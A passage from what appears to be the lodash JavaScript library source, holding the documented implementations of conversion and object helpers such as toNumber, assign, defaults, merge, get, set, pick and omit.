     * @example
     *
     * _.toLength(3.2);
     * // => 3
     *
     * _.toLength(Number.MIN_VALUE);
     * // => 0
     *
     * _.toLength(Infinity);
     * // => 4294967295
     *
     * _.toLength('3.2');
     * // => 3
     */
    function toLength(value) {
      return value ? baseClamp(toInteger(value), 0, MAX_ARRAY_LENGTH) : 0;
    }

    /**
     * Converts `value` to a number.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to process.
     * @returns {number} Returns the number.
     * @example
     *
     * _.toNumber(3.2);
     * // => 3.2
     *
     * _.toNumber(Number.MIN_VALUE);
     * // => 5e-324
     *
     * _.toNumber(Infinity);
     * // => Infinity
     *
     * _.toNumber('3.2');
     * // => 3.2
     */
    function toNumber(value) {
      if (typeof value == 'number') {
        return value;
      }
      if (isSymbol(value)) {
        return NAN;
      }
      if (isObject(value)) {
        var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
        value = isObject(other) ? (other + '') : other;
      }
      if (typeof value != 'string') {
        return value === 0 ? value : +value;
      }
      value = baseTrim(value);
      var isBinary = reIsBinary.test(value);
      return (isBinary || reIsOctal.test(value))
        ? freeParseInt(value.slice(2), isBinary ? 2 : 8)
        : (reIsBadHex.test(value) ? NAN : +value);
    }

    /**
     * Converts `value` to a plain object flattening inherited enumerable string
     * keyed properties of `value` to own properties of the plain object.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {Object} Returns the converted plain object.
     * @example
     *
     * function Foo() {
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.assign({ 'a': 1 }, new Foo);
     * // => { 'a': 1, 'b': 2 }
     *
     * _.assign({ 'a': 1 }, _.toPlainObject(new Foo));
     * // => { 'a': 1, 'b': 2, 'c': 3 }
     */
    function toPlainObject(value) {
      return copyObject(value, keysIn(value));
    }

    /**
     * Converts `value` to a safe integer. A safe integer can be compared and
     * represented correctly.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.toSafeInteger(3.2);
     * // => 3
     *
     * _.toSafeInteger(Number.MIN_VALUE);
     * // => 0
     *
     * _.toSafeInteger(Infinity);
     * // => 9007199254740991
     *
     * _.toSafeInteger('3.2');
     * // => 3
     */
    function toSafeInteger(value) {
      return value
        ? baseClamp(toInteger(value), -MAX_SAFE_INTEGER, MAX_SAFE_INTEGER)
        : (value === 0 ? value : 0);
    }

    /**
     * Converts `value` to a string. An empty string is returned for `null`
     * and `undefined` values. The sign of `-0` is preserved.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.toString(null);
     * // => ''
     *
     * _.toString(-0);
     * // => '-0'
     *
     * _.toString([1, 2, 3]);
     * // => '1,2,3'
     */
    function toString(value) {
      return value == null ? '' : baseToString(value);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Assigns own enumerable string keyed properties of source objects to the
     * destination object. Source objects are applied from left to right.
     * Subsequent sources overwrite property assignments of previous sources.
     *
     * **Note:** This method mutates `object` and is loosely based on
     * [`Object.assign`](https://mdn.io/Object/assign).
     *
     * @static
     * @memberOf _
     * @since 0.10.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.assignIn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * function Bar() {
     *   this.c = 3;
     * }
     *
     * Foo.prototype.b = 2;
     * Bar.prototype.d = 4;
     *
     * _.assign({ 'a': 0 }, new Foo, new Bar);
     * // => { 'a': 1, 'c': 3 }
     */
    var assign = createAssigner(function(object, source) {
      if (isPrototype(source) || isArrayLike(source)) {
        copyObject(source, keys(source), object);
        return;
      }
      for (var key in source) {
        if (hasOwnProperty.call(source, key)) {
          assignValue(object, key, source[key]);
        }
      }
    });

    /**
     * This method is like `_.assign` except that it iterates over own and
     * inherited source properties.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias extend
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.assign
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * function Bar() {
     *   this.c = 3;
     * }
     *
     * Foo.prototype.b = 2;
     * Bar.prototype.d = 4;
     *
     * _.assignIn({ 'a': 0 }, new Foo, new Bar);
     * // => { 'a': 1, 'b': 2, 'c': 3, 'd': 4 }
     */
    var assignIn = createAssigner(function(object, source) {
      copyObject(source, keysIn(source), object);
    });

    /**
     * This method is like `_.assignIn` except that it accepts `customizer`
     * which is invoked to produce the assigned values. If `customizer` returns
     * `undefined`, assignment is handled by the method instead. The `customizer`
     * is invoked with five arguments: (objValue, srcValue, key, object, source).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias extendWith
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @see _.assignWith
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   return _.isUndefined(objValue) ? srcValue : objValue;
     * }
     *
     * var defaults = _.partialRight(_.assignInWith, customizer);
     *
     * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

    /**
     * This method is like `_.assign` except that it accepts `customizer`
     * which is invoked to produce the assigned values. If `customizer` returns
     * `undefined`, assignment is handled by the method instead. The `customizer`
     * is invoked with five arguments: (objValue, srcValue, key, object, source).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @see _.assignInWith
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   return _.isUndefined(objValue) ? srcValue : objValue;
     * }
     *
     * var defaults = _.partialRight(_.assignWith, customizer);
     *
     * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var assignWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keys(source), object, customizer);
    });

    /**
     * Creates an array of values corresponding to `paths` of `object`.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Array} Returns the picked values.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
     *
     * _.at(object, ['a[0].b.c', 'a[1]']);
     * // => [3, 4]
     */
    var at = flatRest(baseAt);

    /**
     * Creates an object that inherits from the `prototype` object. If a
     * `properties` object is given, its own enumerable string keyed properties
     * are assigned to the created object.
     *
     * @static
     * @memberOf _
     * @since 2.3.0
     * @category Object
     * @param {Object} prototype The object to inherit from.
     * @param {Object} [properties] The properties to assign to the object.
     * @returns {Object} Returns the new object.
     * @example
     *
     * function Shape() {
     *   this.x = 0;
     *   this.y = 0;
     * }
     *
     * function Circle() {
     *   Shape.call(this);
     * }
     *
     * Circle.prototype = _.create(Shape.prototype, {
     *   'constructor': Circle
     * });
     *
     * var circle = new Circle;
     * circle instanceof Circle;
     * // => true
     *
     * circle instanceof Shape;
     * // => true
     */
    function create(prototype, properties) {
      var result = baseCreate(prototype);
      return properties == null ? result : baseAssign(result, properties);
    }

    /**
     * Assigns own and inherited enumerable string keyed properties of source
     * objects to the destination object for all destination properties that
     * resolve to `undefined`. Source objects are applied from left to right.
     * Once a property is set, additional values of the same property are ignored.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.defaultsDeep
     * @example
     *
     * _.defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
     * // => { 'a': 1, 'b': 2 }
     */
    var defaults = baseRest(function(object, sources) {
      object = Object(object);

      var index = -1;
      var length = sources.length;
      var guard = length > 2 ? sources[2] : undefined;

      if (guard && isIterateeCall(sources[0], sources[1], guard)) {
        length = 1;
      }

      while (++index < length) {
        var source = sources[index];
        var props = keysIn(source);
        var propsIndex = -1;
        var propsLength = props.length;

        while (++propsIndex < propsLength) {
          var key = props[propsIndex];
          var value = object[key];

          if (value === undefined ||
              (eq(value, objectProto[key]) && !hasOwnProperty.call(object, key))) {
            object[key] = source[key];
          }
        }
      }

      return object;
    });

    /**
     * This method is like `_.defaults` except that it recursively assigns
     * default properties.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 3.10.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @see _.defaults
     * @example
     *
     * _.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } });
     * // => { 'a': { 'b': 2, 'c': 3 } }
     */
    var defaultsDeep = baseRest(function(args) {
      args.push(undefined, customDefaultsMerge);
      return apply(mergeWith, undefined, args);
    });

    /**
     * This method is like `_.find` except that it returns the key of the first
     * element `predicate` returns truthy for instead of the element itself.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {string|undefined} Returns the key of the matched element,
     *  else `undefined`.
     * @example
     *
     * var users = {
     *   'barney':  { 'age': 36, 'active': true },
     *   'fred':    { 'age': 40, 'active': false },
     *   'pebbles': { 'age': 1,  'active': true }
     * };
     *
     * _.findKey(users, function(o) { return o.age < 40; });
     * // => 'barney' (iteration order is not guaranteed)
     *
     * // The `_.matches` iteratee shorthand.
     * _.findKey(users, { 'age': 1, 'active': true });
     * // => 'pebbles'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findKey(users, ['active', false]);
     * // => 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.findKey(users, 'active');
     * // => 'barney'
     */
    function findKey(object, predicate) {
      return baseFindKey(object, getIteratee(predicate, 3), baseForOwn);
    }

    /**
     * This method is like `_.findKey` except that it iterates over elements of
     * a collection in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {string|undefined} Returns the key of the matched element,
     *  else `undefined`.
     * @example
     *
     * var users = {
     *   'barney':  { 'age': 36, 'active': true },
     *   'fred':    { 'age': 40, 'active': false },
     *   'pebbles': { 'age': 1,  'active': true }
     * };
     *
     * _.findLastKey(users, function(o) { return o.age < 40; });
     * // => returns 'pebbles' assuming `_.findKey` returns 'barney'
     *
     * // The `_.matches` iteratee shorthand.
     * _.findLastKey(users, { 'age': 36, 'active': true });
     * // => 'barney'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findLastKey(users, ['active', false]);
     * // => 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.findLastKey(users, 'active');
     * // => 'pebbles'
     */
    function findLastKey(object, predicate) {
      return baseFindKey(object, getIteratee(predicate, 3), baseForOwnRight);
    }

    /**
     * Iterates over own and inherited enumerable string keyed properties of an
     * object and invokes `iteratee` for each property. The iteratee is invoked
     * with three arguments: (value, key, object). Iteratee functions may exit
     * iteration early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 0.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forInRight
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forIn(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a', 'b', then 'c' (iteration order is not guaranteed).
     */
    function forIn(object, iteratee) {
      return object == null
        ? object
        : baseFor(object, getIteratee(iteratee, 3), keysIn);
    }

    /**
     * This method is like `_.forIn` except that it iterates over properties of
     * `object` in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forIn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forInRight(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'c', 'b', then 'a' assuming `_.forIn` logs 'a', 'b', then 'c'.
     */
    function forInRight(object, iteratee) {
      return object == null
        ? object
        : baseForRight(object, getIteratee(iteratee, 3), keysIn);
    }

    /**
     * Iterates over own enumerable string keyed properties of an object and
     * invokes `iteratee` for each property. The iteratee is invoked with three
     * arguments: (value, key, object). Iteratee functions may exit iteration
     * early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 0.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forOwnRight
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forOwn(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a' then 'b' (iteration order is not guaranteed).
     */
    function forOwn(object, iteratee) {
      return object && baseForOwn(object, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.forOwn` except that it iterates over properties of
     * `object` in the opposite order.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns `object`.
     * @see _.forOwn
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.forOwnRight(new Foo, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'b' then 'a' assuming `_.forOwn` logs 'a' then 'b'.
     */
    function forOwnRight(object, iteratee) {
      return object && baseForOwnRight(object, getIteratee(iteratee, 3));
    }

    /**
     * Creates an array of function property names from own enumerable properties
     * of `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to inspect.
     * @returns {Array} Returns the function names.
     * @see _.functionsIn
     * @example
     *
     * function Foo() {
     *   this.a = _.constant('a');
     *   this.b = _.constant('b');
     * }
     *
     * Foo.prototype.c = _.constant('c');
     *
     * _.functions(new Foo);
     * // => ['a', 'b']
     */
    function functions(object) {
      return object == null ? [] : baseFunctions(object, keys(object));
    }

    /**
     * Creates an array of function property names from own and inherited
     * enumerable properties of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to inspect.
     * @returns {Array} Returns the function names.
     * @see _.functions
     * @example
     *
     * function Foo() {
     *   this.a = _.constant('a');
     *   this.b = _.constant('b');
     * }
     *
     * Foo.prototype.c = _.constant('c');
     *
     * _.functionsIn(new Foo);
     * // => ['a', 'b', 'c']
     */
    function functionsIn(object) {
      return object == null ? [] : baseFunctions(object, keysIn(object));
    }

    /**
     * Gets the value at `path` of `object`. If the resolved value is
     * `undefined`, the `defaultValue` is returned in its place.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to get.
     * @param {*} [defaultValue] The value returned for `undefined` resolved values.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.get(object, 'a[0].b.c');
     * // => 3
     *
     * _.get(object, ['a', '0', 'b', 'c']);
     * // => 3
     *
     * _.get(object, 'a.b.c', 'default');
     * // => 'default'
     */
    function get(object, path, defaultValue) {
      var result = object == null ? undefined : baseGet(object, path);
      return result === undefined ? defaultValue : result;
    }

    /**
     * Checks if `path` is a direct property of `object`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     * @example
     *
     * var object = { 'a': { 'b': 2 } };
     * var other = _.create({ 'a': _.create({ 'b': 2 }) });
     *
     * _.has(object, 'a');
     * // => true
     *
     * _.has(object, 'a.b');
     * // => true
     *
     * _.has(object, ['a', 'b']);
     * // => true
     *
     * _.has(other, 'a');
     * // => false
     */
    function has(object, path) {
      return object != null && hasPath(object, path, baseHas);
    }

    /**
     * Checks if `path` is a direct or inherited property of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     * @example
     *
     * var object = _.create({ 'a': _.create({ 'b': 2 }) });
     *
     * _.hasIn(object, 'a');
     * // => true
     *
     * _.hasIn(object, 'a.b');
     * // => true
     *
     * _.hasIn(object, ['a', 'b']);
     * // => true
     *
     * _.hasIn(object, 'b');
     * // => false
     */
    function hasIn(object, path) {
      return object != null && hasPath(object, path, baseHasIn);
    }

    /**
     * Creates an object composed of the inverted keys and values of `object`.
     * If `object` contains duplicate values, subsequent values overwrite
     * property assignments of previous values.
     *
     * @static
     * @memberOf _
     * @since 0.7.0
     * @category Object
     * @param {Object} object The object to invert.
     * @returns {Object} Returns the new inverted object.
     * @example
     *
     * var object = { 'a': 1, 'b': 2, 'c': 1 };
     *
     * _.invert(object);
     * // => { '1': 'c', '2': 'b' }
     */
    var invert = createInverter(function(result, value, key) {
      if (value != null &&
          typeof value.toString != 'function') {
        value = nativeObjectToString.call(value);
      }

      result[value] = key;
    }, constant(identity));

    /**
     * This method is like `_.invert` except that the inverted object is generated
     * from the results of running each element of `object` thru `iteratee`. The
     * corresponding inverted value of each inverted key is an array of keys
     * responsible for generating the inverted value. The iteratee is invoked
     * with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.1.0
     * @category Object
     * @param {Object} object The object to invert.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Object} Returns the new inverted object.
     * @example
     *
     * var object = { 'a': 1, 'b': 2, 'c': 1 };
     *
     * _.invertBy(object);
     * // => { '1': ['a', 'c'], '2': ['b'] }
     *
     * _.invertBy(object, function(value) {
     *   return 'group' + value;
     * });
     * // => { 'group1': ['a', 'c'], 'group2': ['b'] }
     */
    var invertBy = createInverter(function(result, value, key) {
      if (value != null &&
          typeof value.toString != 'function') {
        value = nativeObjectToString.call(value);
      }

      if (hasOwnProperty.call(result, value)) {
        result[value].push(key);
      } else {
        result[value] = [key];
      }
    }, getIteratee);

    /**
     * Invokes the method at `path` of `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the method to invoke.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {*} Returns the result of the invoked method.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': [1, 2, 3, 4] } }] };
     *
     * _.invoke(object, 'a[0].b.c.slice', 1, 3);
     * // => [2, 3]
     */
    var invoke = baseRest(baseInvoke);

    /**
     * Creates an array of the own enumerable property names of `object`.
     *
     * **Note:** Non-object values are coerced to objects. See the
     * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
     * for more details.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.keys(new Foo);
     * // => ['a', 'b'] (iteration order is not guaranteed)
     *
     * _.keys('hi');
     * // => ['0', '1']
     */
    function keys(object) {
      return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
    }

    /**
     * Creates an array of the own and inherited enumerable property names of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.keysIn(new Foo);
     * // => ['a', 'b', 'c'] (iteration order is not guaranteed)
     */
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

    /**
     * The opposite of `_.mapValues`; this method creates an object with the
     * same values as `object` and keys generated by running each own enumerable
     * string keyed property of `object` thru `iteratee`. The iteratee is invoked
     * with three arguments: (value, key, object).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns the new mapped object.
     * @see _.mapValues
     * @example
     *
     * _.mapKeys({ 'a': 1, 'b': 2 }, function(value, key) {
     *   return key + value;
     * });
     * // => { 'a1': 1, 'b2': 2 }
     */
    function mapKeys(object, iteratee) {
      var result = {};
      iteratee = getIteratee(iteratee, 3);

      baseForOwn(object, function(value, key, object) {
        baseAssignValue(result, iteratee(value, key, object), value);
      });
      return result;
    }

    /**
     * Creates an object with the same keys as `object` and values generated
     * by running each own enumerable string keyed property of `object` thru
     * `iteratee`. The iteratee is invoked with three arguments:
     * (value, key, object).
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Object} Returns the new mapped object.
     * @see _.mapKeys
     * @example
     *
     * var users = {
     *   'fred':    { 'user': 'fred',    'age': 40 },
     *   'pebbles': { 'user': 'pebbles', 'age': 1 }
     * };
     *
     * _.mapValues(users, function(o) { return o.age; });
     * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
     *
     * // The `_.property` iteratee shorthand.
     * _.mapValues(users, 'age');
     * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
     */
    function mapValues(object, iteratee) {
      var result = {};
      iteratee = getIteratee(iteratee, 3);

      baseForOwn(object, function(value, key, object) {
        baseAssignValue(result, key, iteratee(value, key, object));
      });
      return result;
    }

    /**
     * This method is like `_.assign` except that it recursively merges own and
     * inherited enumerable string keyed properties of source objects into the
     * destination object. Source properties that resolve to `undefined` are
     * skipped if a destination value exists. Array and plain object properties
     * are merged recursively. Other objects and value types are overridden by
     * assignment. Source objects are applied from left to right. Subsequent
     * sources overwrite property assignments of previous sources.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} [sources] The source objects.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {
     *   'a': [{ 'b': 2 }, { 'd': 4 }]
     * };
     *
     * var other = {
     *   'a': [{ 'c': 3 }, { 'e': 5 }]
     * };
     *
     * _.merge(object, other);
     * // => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
     */
    var merge = createAssigner(function(object, source, srcIndex) {
      baseMerge(object, source, srcIndex);
    });

    /**
     * This method is like `_.merge` except that it accepts `customizer` which
     * is invoked to produce the merged values of the destination and source
     * properties. If `customizer` returns `undefined`, merging is handled by the
     * method instead. The `customizer` is invoked with six arguments:
     * (objValue, srcValue, key, object, source, stack).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The destination object.
     * @param {...Object} sources The source objects.
     * @param {Function} customizer The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * function customizer(objValue, srcValue) {
     *   if (_.isArray(objValue)) {
     *     return objValue.concat(srcValue);
     *   }
     * }
     *
     * var object = { 'a': [1], 'b': [2] };
     * var other = { 'a': [3], 'b': [4] };
     *
     * _.mergeWith(object, other, customizer);
     * // => { 'a': [1, 3], 'b': [2, 4] }
     */
    var mergeWith = createAssigner(function(object, source, srcIndex, customizer) {
      baseMerge(object, source, srcIndex, customizer);
    });

    /**
     * The opposite of `_.pick`; this method creates an object composed of the
     * own and inherited enumerable property paths of `object` that are not omitted.
     *
     * **Note:** This method is considerably slower than `_.pick`.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The source object.
     * @param {...(string|string[])} [paths] The property paths to omit.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.omit(object, ['a', 'c']);
     * // => { 'b': '2' }
     */
    var omit = flatRest(function(object, paths) {
      var result = {};
      if (object == null) {
        return result;
      }
      var isDeep = false;
      paths = arrayMap(paths, function(path) {
        path = castPath(path, object);
        isDeep || (isDeep = path.length > 1);
        return path;
      });
      copyObject(object, getAllKeysIn(object), result);
      if (isDeep) {
        result = baseClone(result, CLONE_DEEP_FLAG | CLONE_FLAT_FLAG | CLONE_SYMBOLS_FLAG, customOmitClone);
      }
      var length = paths.length;
      while (length--) {
        baseUnset(result, paths[length]);
      }
      return result;
    });

    /**
     * The opposite of `_.pickBy`; this method creates an object composed of
     * the own and inherited enumerable string keyed properties of `object` that
     * `predicate` doesn't return truthy for. The predicate is invoked with two
     * arguments: (value, key).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The source object.
     * @param {Function} [predicate=_.identity] The function invoked per property.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.omitBy(object, _.isNumber);
     * // => { 'b': '2' }
     */
    function omitBy(object, predicate) {
      return pickBy(object, negate(getIteratee(predicate)));
    }

    /**
     * Creates an object composed of the picked `object` properties.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The source object.
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.pick(object, ['a', 'c']);
     * // => { 'a': 1, 'c': 3 }
     */
    var pick = flatRest(function(object, paths) {
      return object == null ? {} : basePick(object, paths);
    });

    /**
     * Creates an object composed of the `object` properties `predicate` returns
     * truthy for. The predicate is invoked with two arguments: (value, key).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The source object.
     * @param {Function} [predicate=_.identity] The function invoked per property.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.pickBy(object, _.isNumber);
     * // => { 'a': 1, 'c': 3 }
     */
    function pickBy(object, predicate) {
      if (object == null) {
        return {};
      }
      var props = arrayMap(getAllKeysIn(object), function(prop) {
        return [prop];
      });
      predicate = getIteratee(predicate);
      return basePickBy(object, props, function(value, path) {
        return predicate(value, path[0]);
      });
    }

    /**
     * This method is like `_.get` except that if the resolved value is a
     * function it's invoked with the `this` binding of its parent object and
     * its result is returned.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to resolve.
     * @param {*} [defaultValue] The value returned for `undefined` resolved values.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c1': 3, 'c2': _.constant(4) } }] };
     *
     * _.result(object, 'a[0].b.c1');
     * // => 3
     *
     * _.result(object, 'a[0].b.c2');
     * // => 4
     *
     * _.result(object, 'a[0].b.c3', 'default');
     * // => 'default'
     *
     * _.result(object, 'a[0].b.c3', _.constant('default'));
     * // => 'default'
     */
    function result(object, path, defaultValue) {
      path = castPath(path, object);

      var index = -1,
          length = path.length;

      // Ensure the loop is entered when path is empty.
      if (!length) {
        length = 1;
        object = undefined;
      }
      while (++index < length) {
        var value = object == null ? undefined : object[toKey(path[index])];
        if (value === undefined) {
          index = length;
          value = defaultValue;
        }
        object = isFunction(value) ? value.call(object) : value;
      }
      return object;
    }

    /**
     * Sets the value at `path` of `object`. If a portion of `path` doesn't exist,
     * it's created. Arrays are created for missing index properties while objects
     * are created for all other missing properties. Use `_.setWith` to customize
     * `path` creation.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.set(object, 'a[0].b.c', 4);
     * console.log(object.a[0].b.c);
     * // => 4
     *
     * _.set(object, ['x', '0', 'y', 'z'], 5);
     * console.log(object.x[0].y.z);
     * // => 5
     */
    function set(object, path, value) {
      return object == null ? object : baseSet(object, path, value);
    }

    /**
     * This method is like `_.set` except that it accepts `customizer` which is
     * invoked to produce the objects of `path`.  If `customizer` returns `undefined`
     * path creation is handled by the method instead. The `customizer` is invoked
     * with three arguments: (nsValue, key, nsObject).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {};
     *
